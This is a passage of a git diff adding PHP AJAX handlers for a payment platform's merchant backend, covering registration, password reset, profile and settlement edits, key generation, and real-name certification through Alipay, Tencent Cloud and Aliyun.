exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + + $cacheData = ['verifytype'=>$conf['verifytype'], 'email'=>$email, 'phone'=>$phone, 'pwd'=>$pwd, 'upid'=>$upid]; + if($inviterow) $cacheData['invitecodeid'] = $inviterow['id']; + $sds = $CACHE->save('reg_'.$trade_no ,$cacheData, 3600); + if($sds){ + \lib\VerifyCode::void_code(); + $paytype = \lib\Channel::getTypes($urow['uid'], $urow['gid']); + $result=array("code"=>2,"msg"=>"订单创建成功!","trade_no"=>$trade_no,"need"=>$conf['reg_pay_price'],"paytype"=>$paytype); + unset($_SESSION['csrf_token']); + }else{ + $result=array("code"=>-1,"msg"=>"订单创建失败!".$DB->error()); + } + }else{ + $key = random(32); + $paystatus = $conf['user_review']==1?2:1; + $sds=$DB->exec("INSERT INTO `pre_user` (`upid`, `key`, `money`, `email`, `phone`, `addtime`, `pay`, `settle`, `keylogin`, `apply`, `status`) VALUES (:upid, :key, '0.00', :email, :phone, NOW(), :paystatus, 1, 0, 0, 1)", [':upid'=>$upid, ':key'=>$key, ':email'=>$email, ':phone'=>$phone, ':paystatus'=>$paystatus]); + $uid=$DB->lastInsertId(); + if($sds){ + $pwd = getMd5Pwd($pwd, $uid); + $DB->exec("update `pre_user` set `pwd` ='{$pwd}' where `uid`='$uid'"); + if(!empty($email)){ + $sub = $conf['sitename'].' - 注册成功通知'; + $msg = '

                                  商户注册成功通知

                                  感谢您注册'.$conf['sitename'].'!
                                  您的登录账号:'.($info['email']?$info['email']:$info['phone']).'
                                  您的商户ID:'.$uid.'
                                  您的商户秘钥:'.$key.'
                                  '.$conf['sitename'].'官网:'.$_SERVER['HTTP_HOST'].'
                                  商户管理后台】'; + send_mail($email, $sub, $msg); + } + \lib\VerifyCode::void_code(); + if($inviterow){ + $DB->update('invitecode', ['status'=>1, 'uid'=>$uid, 'usetime'=>'NOW()'], ['id'=>$inviterow['id']]); + } + $_SESSION['reg_submit']=time(); + $result=array("code"=>1,"msg"=>"申请商户成功!","uid"=>$uid,"key"=>$key); + unset($_SESSION['csrf_token']); + if($paystatus == 2){ + \lib\MsgNotice::send('regaudit', 0, ['uid'=>$uid, 'account'=>$info['email']?$info['email']:$info['phone']]); + } + }else{ + $result=array("code"=>-1,"msg"=>"申请商户失败!".$DB->error()); + } + } + exit(json_encode($result)); +break; +case 'sendcode2': + $verifytype=$_POST['type']; + $sendto=htmlspecialchars(strip_tags(trim($_POST['sendto']))); + if(isset($_SESSION['send_code_time']) && $_SESSION['send_code_time']>time()-10){ + exit('{"code":-1,"msg":"请勿频繁发送验证码"}'); + } + + if(!isset($_SESSION['gtserver']))exit('{"code":-1,"msg":"验证加载失败"}'); + if(!verify_captcha())exit('{"code":-1,"msg":"验证失败,请重新验证"}'); + + if($verifytype=='phone'){ + $userrow=$DB->getRow("select * from pre_user where phone=:phone limit 1", [':phone'=>$sendto]); + if(!$userrow){ + exit('{"code":-1,"msg":"该手机号未找到注册商户"}'); + } + $type = 1; + }else{ + $userrow=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$sendto]); + if(!$userrow){ + exit('{"code":-1,"msg":"该邮箱未找到注册商户"}'); + } + $type = 0; + } + $result = \lib\VerifyCode::send_code('find', $type, $sendto); + if($result === true){ + $_SESSION['send_code_time']=time(); + exit(json_encode(['code'=>0, 'msg'=>'succ'])); + }else{ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } +break; +case 'findpwd': + $verifytype=$_POST['type']; + $account=htmlspecialchars(strip_tags(trim($_POST['account']))); + $code=trim($_POST['code']); + $pwd=trim($_POST['pwd']); + + if(empty($account) || empty($code) || empty($pwd)){ + exit('{"code":-1,"msg":"请确保各项不能为空"}'); + } + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if (strlen($pwd) < 6) { + exit('{"code":-1,"msg":"密码不能低于6位"}'); + }elseif ($pwd == $account && $verifytype=='email') { + exit('{"code":-1,"msg":"密码不能和邮箱相同"}'); + }elseif ($pwd == $account && $verifytype=='phone') { + exit('{"code":-1,"msg":"密码不能和手机号码相同"}'); + }elseif (is_numeric($pwd)) { + exit('{"code":-1,"msg":"密码不能为纯数字"}'); + } + if($verifytype=='phone'){ + if(!is_numeric($account) || strlen($account)!=11){ + exit('{"code":-1,"msg":"手机号码不正确"}'); + } + $userrow=$DB->getRow("select * from pre_user where phone=:account limit 1", [':account'=>$account]); + if(!$userrow){ + exit('{"code":-1,"msg":"该手机号未找到注册商户"}'); + } + }else{ + if(!preg_match('/^[A-z0-9._-]+@[A-z0-9._-]+\.[A-z0-9._-]+$/', $account)){ + exit('{"code":-1,"msg":"邮箱格式不正确"}'); + } + $userrow=$DB->getRow("select * from pre_user where email=:account limit 1", [':account'=>$account]); + if(!$userrow){ + exit('{"code":-1,"msg":"该邮箱未找到注册商户"}'); + } + } + if($verifytype=='phone'){ + $type = 1; + }else{ + $type = 0; + } + $result = \lib\VerifyCode::verify_code('find', $type, $account, $code); + if($result !== true){ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } + $pwd = getMd5Pwd($pwd, $userrow['uid']); + $sqs=$DB->exec("update `pre_user` set `pwd`='{$pwd}' where `uid`='{$userrow['uid']}'"); + if($sqs!==false){ + \lib\VerifyCode::void_code(); + exit('{"code":1,"msg":"重置密码成功!请牢记新密码"}'); + }else{ + exit('{"code":-1,"msg":"重置密码失败!'.$DB->error().'"}'); + } +break; +case 'qrcode': + unset($_SESSION['openid']); + if(!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'],$_SERVER['HTTP_HOST'])){ + $qrcode = $conf['localurl_wxpay'].'user/openid.php?sid='.session_id(); + }else{ + $qrcode = $siteurl.'user/openid.php?sid='.session_id(); + } + $result=array("code"=>0,"msg"=>"succ","url"=>$qrcode); + exit(json_encode($result)); + break; +case 'getopenid': + if(isset($_SESSION['openid']) && !empty($_SESSION['openid'])){ + $openid = $_SESSION['openid']; + unset($_SESSION['openid']); + $result=array("code"=>0,"msg"=>"succ","openid"=>$openid); + }else{ + $result=array("code"=>-1); + } + exit(json_encode($result)); + break; +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/user/ajax2.php b/user/ajax2.php new file mode 100644 index 0000000..921b41d --- /dev/null +++ b/user/ajax2.php @@ -0,0 +1,1035 @@ +getColumn("SELECT count(*) FROM pre_order WHERE uid={$uid} AND status=1"); + $orders_today=$DB->getColumn("SELECT count(*) from pre_order WHERE uid={$uid} AND status=1 AND date='$today'"); + + $settle_money=$DB->getColumn("SELECT sum(realmoney) FROM pre_settle WHERE uid={$uid} and status=1"); + $settle_money=round($settle_money,2); + + $order_today_all = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$uid} AND status=1 AND date='$today'"),2); + $order_lastday_all = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$uid} AND status=1 AND date='$lastday'"),2); + + $channels = []; + $types = \lib\Channel::getTypes($uid, $userrow['gid']); + foreach($types as $row){ + $order_today = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$uid} AND status=1 AND date='$today' AND type={$row['id']}"),2); + $order_lastday = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$uid} AND status=1 AND date='$lastday' AND type={$row['id']}"),2); + + $orderrow = $DB->getRow("SELECT COUNT(*) allnum,COUNT(IF(status>0, 1, NULL)) sucnum FROM pre_order WHERE uid={$uid} AND addtime>='$today' AND type={$row['id']}"); + $success_rate = $orderrow && $orderrow['allnum'] > 0 ? round($orderrow['sucnum']/$orderrow['allnum']*100,2) : 100; + + $channels[] = ['name'=>$row['name'], 'showname'=>$row['showname'], 'rate'=>round(100-$row['rate'], 2), 'order_today'=>$order_today, 'order_lastday'=>$order_lastday, 'success_rate'=>$success_rate]; + } + + $result=['code'=>0, 'orders'=>$orders, 'orders_today'=>$orders_today, 'settle_money'=>$settle_money, 'order_today_all'=>$order_today_all, 'order_lastday_all'=>$order_lastday_all, 'channels'=>$channels]; + exit(json_encode($result)); +break; +case 'sendcode': + $situation=trim($_POST['situation']); + $target=htmlspecialchars(strip_tags(trim($_POST['target']))); + if(isset($_SESSION['send_code_time']) && $_SESSION['send_code_time']>time()-10){ + exit('{"code":-1,"msg":"请勿频繁发送验证码"}'); + } + if(!isset($_SESSION['gtserver']))exit('{"code":-1,"msg":"验证加载失败"}'); + if(!verify_captcha($uid))exit('{"code":-1,"msg":"验证失败,请重新验证"}'); + + if($conf['verifytype']==1 || $situation=='bindphone'){ + if($situation=='bind' || $situation=='bindphone'){ + if(empty($target) || strlen($target)!=11){ + exit('{"code":-1,"msg":"请填写正确的手机号码!"}'); + } + if($target==$userrow['phone']){ + exit('{"code":-1,"msg":"你填写的手机号码和之前一样"}'); + } + $row=$DB->getRow("select * from pre_user where phone=:phone limit 1", [':phone'=>$target]); + if($row){ + exit('{"code":-1,"msg":"该手机号码已经绑定过其它商户"}'); + } + }else{ + if(empty($userrow['phone']) || strlen($userrow['phone'])!=11){ + exit('{"code":-1,"msg":"请先绑定手机号码!"}'); + } + $target=$userrow['phone']; + } + $type = 1; + }else{ + if($situation=='bind'){ + if(!preg_match('/^[A-z0-9._-]+@[A-z0-9._-]+\.[A-z0-9._-]+$/', $target)){ + exit('{"code":-1,"msg":"邮箱格式不正确"}'); + } + if($target==$userrow['email']){ + exit('{"code":-1,"msg":"你填写的邮箱和之前一样"}'); + } + $row=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$target]); + if($row){ + exit('{"code":-1,"msg":"该邮箱已经绑定过其它商户"}'); + } + }else{ + if(empty($userrow['email']) || strpos($userrow['email'],'@')===false){ + exit('{"code":-1,"msg":"请先绑定邮箱!"}'); + } + $target=$userrow['email']; + } + $type = 0; + } + $result = \lib\VerifyCode::send_code('edit', $type, $target, $uid); + if($result === true){ + $_SESSION['send_code_time']=time(); + exit(json_encode(['code'=>0, 'msg'=>'succ'])); + }else{ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } +break; +case 'verifycode': + $code=trim($_POST['code']); + + if($conf['verifytype']==1){ + $sendto = $userrow['phone']; + $type = 1; + }else{ + $sendto = $userrow['email']; + $type = 0; + } + $result = \lib\VerifyCode::verify_code('edit', $type, $sendto, $code, $uid); + if($result === true){ + $_SESSION['verify_ok']=$uid; + \lib\VerifyCode::void_code(); + exit(json_encode(['code'=>1, 'msg'=>'succ'])); + }else{ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } +break; +case 'completeinfo': + $type=intval($_POST['stype']); + $account=htmlspecialchars(strip_tags(trim($_POST['account']))); + $username=htmlspecialchars(strip_tags(trim($_POST['username']))); + $email=htmlspecialchars(strip_tags(trim($_POST['email']))); + $qq=htmlspecialchars(strip_tags(trim($_POST['qq']))); + $url=htmlspecialchars(strip_tags(trim($_POST['url']))); + + if(empty($account) || empty($username) || empty($qq) || empty($url)){ + exit('{"code":-1,"msg":"请确保每项都不为空"}'); + } + if(!empty($userrow['account']) && !empty($userrow['username'])){ + exit('{"code":-1,"msg":"你已完善相关信息"}'); + } + if($type==1 && strlen($account)!=11 && strpos($account,'@')==false){ + exit('{"code":-1,"msg":"请填写正确的支付宝账号!"}'); + } + if($type==2 && strlen($account)<3){ + exit('{"code":-1,"msg":"请填写正确的微信"}'); + } + if($type==3 && (strlen($account)<5 || strlen($account)>10 || !is_numeric($account))){ + exit('{"code":-1,"msg":"请填写正确的QQ号码"}'); + } + if(strlen($qq)<5 || strlen($qq)>10 || !is_numeric($qq)){ + exit('{"code":-1,"msg":"请填写正确的QQ"}'); + } + if(strlen($url)<4 || strpos($url,'.')==false){ + exit('{"code":-1,"msg":"请填写正确的网站域名!"}'); + } + $data = ['settle_id'=>$type, 'account'=>$account, 'username'=>$username, 'qq'=>$qq, 'url'=>$url]; + if($conf['verifytype']==1){ + if(!preg_match('/^[A-z0-9._-]+@[A-z0-9._-]+\.[A-z0-9._-]+$/', $email)){ + exit('{"code":-1,"msg":"邮箱格式不正确"}'); + } + if($email!=$userrow['email']){ + $row=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$email]); + if($row){ + exit('{"code":-1,"msg":"该邮箱已经绑定过其它商户,如需找回,请退出登录后找回密码"}'); + } + $data['email'] = $email; + } + } + if($DB->update('user', $data, ['uid'=>$uid])!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_settle': + $type=intval($_POST['stype']); + $account=htmlspecialchars(strip_tags(trim($_POST['account']))); + $username=htmlspecialchars(strip_tags(trim($_POST['username']))); + + if($account==null || $username==null){ + exit('{"code":-1,"msg":"请确保每项都不为空"}'); + } + if($type==1 && strlen($account)!=11 && strpos($account,'@')==false){ + exit('{"code":-1,"msg":"请填写正确的支付宝账号!"}'); + } + if($type==2 && strlen($account)<3){ + exit('{"code":-1,"msg":"请填写正确的微信"}'); + } + if($type==3 && (strlen($account)<5 || strlen($account)>10 || !is_numeric($account))){ + exit('{"code":-1,"msg":"请填写正确的QQ号码"}'); + } + if($userrow['type']!=2 && !empty($userrow['account']) && !empty($userrow['username']) && ($userrow['account']!=$account || $userrow['username']!=$username) && $_SESSION['verify_ok']!==$uid){ + if($conf['verifytype']==1 && (empty($userrow['phone']) || strlen($userrow['phone'])!=11)){ + exit('{"code":-1,"msg":"请先绑定手机号码!"}'); + }elseif($conf['verifytype']==0 && (empty($userrow['email']) || strpos($userrow['email'],'@')===false)){ + exit('{"code":-1,"msg":"请先绑定邮箱!"}'); + } + exit('{"code":2,"msg":"need verify"}'); + } + $data = ['settle_id'=>$type, 'account'=>$account, 'username'=>$username]; + if($DB->update('user', $data, ['uid'=>$uid])!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_info': + $email=htmlspecialchars(strip_tags(trim($_POST['email']))); + $qq=htmlspecialchars(strip_tags(trim($_POST['qq']))); + $url=htmlspecialchars(strip_tags(trim($_POST['url']))); + $keylogin=intval($_POST['keylogin']); + $refund=intval($_POST['refund']); + $transfer=intval($_POST['transfer']); + $remain_money=trim($_POST['remain_money']); + + if($qq==null || $url==null){ + exit('{"code":-1,"msg":"请确保每项都不为空"}'); + } + if(strlen($qq)<5 || strlen($qq)>10 || !is_numeric($qq)){ + exit('{"code":-1,"msg":"请填写正确的QQ"}'); + } + if(strlen($url)<4 || strpos($url,'.')==false){ + exit('{"code":-1,"msg":"请填写正确的网站域名!"}'); + } + if($conf['verifytype']==1){ + if($email!=$userrow['email']){ + $row=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$email]); + if($row){ + exit('{"code":-1,"msg":"该邮箱已经绑定过其它商户,如需找回,请退出登录后找回密码"}'); + } + if(!preg_match('/^[A-z0-9._-]+@[A-z0-9._-]+\.[A-z0-9._-]+$/', $email)){ + exit('{"code":-1,"msg":"邮箱格式不正确"}'); + } + } + $sqs = $DB->update('user', ['email'=>$email, 'qq'=>$qq, 'url'=>$url, 'keylogin'=>$keylogin, 'refund'=>$refund, 'transfer'=>$transfer, 'remain_money'=>$remain_money], ['uid'=>$uid]); + }else{ + $sqs = $DB->update('user', ['qq'=>$qq, 'url'=>$url, 'keylogin'=>$keylogin, 'refund'=>$refund, 'transfer'=>$transfer, 'remain_money'=>$remain_money], ['uid'=>$uid]); + } + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_keytype': + $keytype=intval($_POST['keytype']); + $sqs = $DB->update('user', ['keytype'=>$keytype], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_voice': + $voice_devid=trim($_POST['voice_devid']); + $voice_order=intval($_POST['voice_order']); + $sqs = $DB->update('user', ['voice_devid'=>$voice_devid, 'voice_order'=>$voice_order], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_channel_info': + $setting=$_POST['setting']; + $channelinfo = json_encode($setting); + + $sqs=$DB->update('user', ['channelinfo'=>$channelinfo], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_mode': + $mode=intval($_POST['mode']); + + $sqs=$DB->update('user', ['mode'=>$mode], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_msgconfig': + $msgconfig = [ + 'order' => intval($_POST['notice_order']), + 'settle' => intval($_POST['notice_settle']), + 'login' => intval($_POST['notice_login']), + 'complain' => intval($_POST['notice_complain']), + 'mchrisk' => intval($_POST['notice_mchrisk']), + 'order_money' => trim($_POST['notice_order_money']), + 'balance' => intval($_POST['notice_balance']), + 'balance_money' => trim($_POST['notice_balance_money']) + ]; + + $sqs=$DB->update('user', ['msgconfig'=>serialize($msgconfig)], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'edit_bind': + $email=htmlspecialchars(strip_tags(trim($_POST['email']))); + $phone=htmlspecialchars(strip_tags(trim($_POST['phone']))); + $code=trim($_POST['code']); + + if($code==null || $email==null && $phone==null){ + exit('{"code":-1,"msg":"请确保每项都不为空"}'); + } + if(empty($_SESSION['verify_ok']) || $_SESSION['verify_ok']!=$uid){ + if($conf['verifytype']==1 && !empty($userrow['phone']) && strlen($userrow['phone'])==11){ + exit('{"code":2,"msg":"请先完成验证"}'); + }elseif($conf['verifytype']==0 && !empty($userrow['email']) && strpos($userrow['email'],'@')!==false && !empty($email) && empty($phone)){ + exit('{"code":2,"msg":"请先完成验证"}'); + } + } + if($conf['verifytype']==1 || $conf['verifytype']==0 && empty($email) && !empty($phone)){ + $sendto = $phone; + $type = 1; + }else{ + $sendto = $email; + $type = 0; + } + $result = \lib\VerifyCode::verify_code('edit', $type, $sendto, $code, $uid); + if($result !== true){ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } + if($conf['verifytype']==1 || $conf['verifytype']==0 && empty($email) && !empty($phone)){ + $sqs=$DB->update('user', ['phone'=>$phone], ['uid'=>$uid]); + }else{ + $sqs=$DB->update('user', ['email'=>$email], ['uid'=>$uid]); + } + if($sqs!==false){ + \lib\VerifyCode::void_code(); + exit('{"code":1,"msg":"succ"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'checkbind': + if($conf['verifytype']==1 && (empty($userrow['phone']) || strlen($userrow['phone'])!=11)){ + exit('{"code":1,"msg":"bind"}'); + }elseif($conf['verifytype']==0 && (empty($userrow['email']) || strpos($userrow['email'],'@')===false)){ + exit('{"code":1,"msg":"bind"}'); + }elseif(isset($_SESSION['verify_ok']) && $_SESSION['verify_ok']===$uid){ + exit('{"code":1,"msg":"bind"}'); + }else{ + exit('{"code":2,"msg":"need verify"}'); + } +break; +case 'resetKey': + if(isset($_POST['submit'])){ + $key = random(32); + $sql = "UPDATE pre_user SET `key`='$key' WHERE uid='$uid'"; + if($DB->exec($sql)!==false)exit('{"code":0,"msg":"重置密钥成功","key":"'.$key.'"}'); + else exit('{"code":-1,"msg":"重置密钥失败['.$DB->error().']"}'); + } +break; +case 'createRsaPair': + if(isset($_POST['submit'])){ + $keypair = generate_key_pair(); + $DB->update('user', ['publickey'=>$keypair['public_key']], ['uid'=>$uid]); + exit(json_encode(['code'=>0, 'msg'=>'succ', 'public_key'=>$keypair['public_key'], 'private_key'=>$keypair['private_key']])); + } +break; +case 'edit_pwd': + $oldpwd=trim($_POST['oldpwd']); + $newpwd=trim($_POST['newpwd']); + $newpwd2=trim($_POST['newpwd2']); + + if(!empty($userrow['pwd']) && $oldpwd==null || $newpwd==null || $newpwd2==null){ + exit('{"code":-1,"msg":"请确保每项都不为空"}'); + } + if(!empty($userrow['pwd']) && getMd5Pwd($oldpwd, $uid)!=$userrow['pwd']){ + exit('{"code":-1,"msg":"旧密码不正确"}'); + } + if($newpwd!=$newpwd2){ + exit('{"code":-1,"msg":"两次输入密码不一致!"}'); + } + if($oldpwd==$newpwd){ + exit('{"code":-1,"msg":"旧密码和新密码相同!"}'); + } + if (strlen($newpwd) < 6) { + exit('{"code":-1,"msg":"新密码不能低于6位"}'); + }elseif ($newpwd == $userrow['email']) { + exit('{"code":-1,"msg":"新密码不能和邮箱相同"}'); + }elseif ($newpwd == $userrow['phone']) { + exit('{"code":-1,"msg":"新密码不能和手机号码相同"}'); + }elseif (is_numeric($newpwd)) { + exit('{"code":-1,"msg":"新密码不能为纯数字"}'); + } + $pwd = getMd5Pwd($newpwd, $uid); + $sqs=$DB->exec("update `pre_user` set `pwd` ='{$pwd}' where `uid`='$uid'"); + if($sqs!==false){ + exit('{"code":1,"msg":"修改密码成功!请牢记新密码"}'); + }else{ + exit('{"code":-1,"msg":"修改密码失败!'.$DB->error().'"}'); + } +break; +case 'edit_codename': + $codename=htmlspecialchars(strip_tags(trim($_POST['codename']))); + + $sqs=$DB->update('user', ['codename'=>$codename], ['uid'=>$uid]); + if($sqs!==false){ + exit('{"code":1,"msg":"保存成功!"}'); + }else{ + exit('{"code":-1,"msg":"保存失败!'.$DB->error().'"}'); + } +break; +case 'certificate': + $certname=htmlspecialchars(strip_tags(trim($_POST['certname']))); + $certno=htmlspecialchars(strip_tags(trim($_POST['certno']))); + $certtype=intval($_POST['certtype']); + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if($userrow['cert']==1 &&($certtype==0 || $certtype==1 && $userrow['certtype']==1))exit('{"code":-1,"msg":"你已完成实名认证"}'); + if($conf['cert_money']>0 && $userrow['money']<$conf['cert_money'])exit('{"code":-1,"msg":"账户余额不足'.$conf['cert_money'].'元,无法完成认证"}'); + if(empty($certname) || empty($certno))exit('{"code":-1,"msg":"请确保各项不能为空"}'); + if(strlen($certname)<3)exit('{"code":-1,"msg":"姓名填写错误"}'); + if(!is_idcard($certno))exit('{"code":-1,"msg":"身份证号不正确"}'); + /*$row=$DB->getRow("SELECT uid,phone,email FROM pre_user WHERE certname=:certname AND certno=:certno AND cert=1 LIMIT 1", [':certno'=>$certno, ':certname'=>$certname]); + if($row){ + exit('{"code":-2,"msg":"账号:'.($row['phone']?$row['phone']:$row['email']).'(商户ID:'.$row['uid'].')已经使用此身份认证,是否将该认证信息关联到当前商户?关联需要输入商户ID '.$row['uid'].' 的商户密钥","uid":"'.$row['uid'].'"}'); + }*/ + if($certtype==1){ + $certcorpno=htmlspecialchars(strip_tags(trim($_POST['certcorpno']))); + $certcorpname=htmlspecialchars(strip_tags(trim($_POST['certcorpname']))); + if(empty($certcorpno) || empty($certcorpname))exit('{"code":-1,"msg":"公司名称和营业执照号码不能为空"}'); + $checkres = check_corp_cert($certcorpname, $certcorpno, $certname); + if($checkres['code']!=0)exit('{"code":-1,"msg":"'.$checkres['msg'].'"}'); + } + if($conf['cert_open'] == 1){ //支付宝身份验证 + if(!$conf['cert_channel'])exit('{"code":-1,"msg":"未配置支付宝身份验证通道"}'); + $channel = \lib\Channel::get($conf['cert_channel']); + if(!$channel)exit('{"code":-1,"msg":"当前实名认证通道信息不存在"}'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $alipay_config['return_url'] = 'alipays://platformapi/startapp?appId=20000067&url='.urlencode($siteurl.'user/alipaycertok.php?state='.urlencode(authcode($uid, 'ENCODE', SYS_KEY))); + try{ + $certify = new \Alipay\AlipayCertifyService($alipay_config); + $outer_order_no = date("YmdHis").rand(000,999).$uid; + $certifyResult = $certify->initialize($outer_order_no, $certname, $certno, 'IDENTITY_CARD', 'SMART_FACE'); + }catch(Exception $e){ + exit('{"code":-1,"msg":"支付宝接口返回异常'.$e->getMessage().'"}'); + } + + if(isset($certifyResult['certify_id'])){ + $_SESSION[$uid.'_certify']=true; + $sqs=$DB->exec("update `pre_user` set `cert`=0,`certtype`=:certtype,`certmethod`=:certmethod,`certno`=:certno,`certname`=:certname,`certtoken`=:certtoken where `uid`=:uid", [':certtype'=>$certtype, ':certmethod'=>0, ':certno'=>$certno, ':certname'=>$certname, ':certtoken'=>$certifyResult['certify_id'], ':uid'=>$uid]); + if($sqs!==false){ + if ($certtype==1) { + $DB->exec("update `pre_user` set `certcorpno`=:certcorpno,`certcorpname`=:certcorpname where `uid`=:uid", [':certcorpno'=>$certcorpno, ':certcorpname'=>$certcorpname, ':uid'=>$uid]); + } + exit(json_encode(['code'=>1, 'msg'=>'ok', 'certify_id'=>$certifyResult['certify_id']])); + }else{ + exit('{"code":-1,"msg":"保存信息失败'.$DB->error().'"}'); + } + }else{ + exit('{"code":-1,"msg":"支付宝接口返回异常['.$certifyResult['sub_code'].']'.$certifyResult['sub_msg'].'"}'); + } + }elseif($conf['cert_open'] == 2){ //手机号三要素实名认证 + if(empty($userrow['phone']))exit('{"code":-1,"msg":"你还未绑定手机号码"}'); + $res = check_cert($certno, $certname, $userrow['phone']); + if($res['code']==0){ + $sqs=$DB->exec("update `pre_user` set `cert`=1,`certtype`=:certtype,`certmethod`=:certmethod,`certno`=:certno,`certname`=:certname,`certtime`=NOW() where `uid`=:uid", [':certtype'=>$certtype, ':certmethod'=>2, ':certno'=>$certno, ':certname'=>$certname, ':uid'=>$uid]); + if($conf['cert_money']>0){ + changeUserMoney($uid, $conf['cert_money'], false, '实名认证'); + } + exit('{"code":2,"msg":"恭喜您成功提交实名认证!"}'); + }else{ + exit('{"code":-1,"msg":"认证结果:'.$res['msg'].'"}'); + } + }elseif($conf['cert_open'] == 3){ //支付宝实名信息验证 + if(!$conf['cert_channel'])exit('{"code":-1,"msg":"未配置支付宝实名信息验证通道"}'); + $channel = \lib\Channel::get($conf['cert_channel']); + if(!$channel)exit('{"code":-1,"msg":"当前实名认证通道信息不存在"}'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $certdoc = new \Alipay\AlipayCertdocService($alipay_config); + $result = $certdoc->preconsult($certname, $certno); + }catch(Exception $e){ + exit('{"code":-1,"msg":"支付宝接口返回异常'.$e->getMessage().'"}'); + } + + $_SESSION[$uid.'_certify']=true; + $sqs=$DB->exec("update `pre_user` set `cert`=0,`certtype`=:certtype,`certmethod`=:certmethod,`certno`=:certno,`certname`=:certname,`certtoken`=:certtoken where `uid`=:uid", [':certtype'=>$certtype, ':certmethod'=>0, ':certno'=>$certno, ':certname'=>$certname, ':certtoken'=>$result['verify_id'], ':uid'=>$uid]); + if($sqs!==false){ + if ($certtype==1) { + $DB->exec("update `pre_user` set `certcorpno`=:certcorpno,`certcorpname`=:certcorpname where `uid`=:uid", [':certcorpno'=>$certcorpno, ':certcorpname'=>$certcorpname, ':uid'=>$uid]); + } + exit(json_encode(['code'=>1, 'msg'=>'ok', 'verify_id'=>$result['verify_id']])); + }else{ + exit('{"code":-1,"msg":"保存信息失败'.$DB->error().'"}'); + } + }elseif($conf['cert_open'] == 4){ //微信扫码实名认证 + if(!$conf['cert_qcloudid'] || !$conf['cert_qcloudkey'])exit('{"code":-1,"msg":"未配置腾讯云SecretId和SecretKey"}'); + $qcloud = new \lib\QcloudFaceid($conf['cert_qcloudid'], $conf['cert_qcloudkey']); + $callbackurl = $siteurl.'user/alipaycertok.php?state='.$uid; + $result = $qcloud->GetRealNameAuthToken($certname, $certno, $callbackurl); + if(isset($result['AuthToken'])){ + $_SESSION[$uid.'_certify']=true; + $_SESSION['qrcode_url'] = $result['RedirectURL']; + $sqs=$DB->exec("update `pre_user` set `cert`=0,`certtype`=:certtype,`certmethod`=:certmethod,`certno`=:certno,`certname`=:certname,`certtoken`=:certtoken where `uid`=:uid", [':certtype'=>$certtype, ':certmethod'=>1, ':certno'=>$certno, ':certname'=>$certname, ':certtoken'=>$result['AuthToken'], ':uid'=>$uid]); + if($sqs!==false){ + if ($certtype==1) { + $DB->exec("update `pre_user` set `certcorpno`=:certcorpno,`certcorpname`=:certcorpname where `uid`=:uid", [':certcorpno'=>$certcorpno, ':certcorpname'=>$certcorpname, ':uid'=>$uid]); + } + exit(json_encode(['code'=>1, 'msg'=>'ok', 'wx_token'=>$result['AuthToken']])); + }else{ + exit('{"code":-1,"msg":"保存信息失败'.$DB->error().'"}'); + } + }else{ + exit('{"code":-1,"msg":"接口返回异常['.$result['Error']['Code'].']'.$result['Error']['Message'].'"}'); + } + }elseif($conf['cert_open'] == 5){ //阿里云金融级实人认证 + if(!$conf['cert_aliyunid'] || !$conf['cert_aliyunkey'] || !$conf['cert_aliyunsceneid'])exit('{"code":-1,"msg":"未配置阿里云接口信息"}'); + $aliyun = new \lib\AliyunCertify($conf['cert_aliyunid'], $conf['cert_aliyunkey'], $conf['cert_aliyunsceneid']); + $outer_order_no = date("YmdHis").rand(000,999).$uid; + $return_url = 'alipays://platformapi/startapp?appId=20000067&url='.urlencode($siteurl.'user/alipaycertok.php?state='.urlencode(authcode($uid, 'ENCODE', SYS_KEY))); + $result = $aliyun->initialize($outer_order_no, $certname, $certno, $return_url); + if (isset($result['Code']) && $result['Code']==200) { + $_SESSION[$uid.'_certify']=true; + $_SESSION['qrcode_url'] 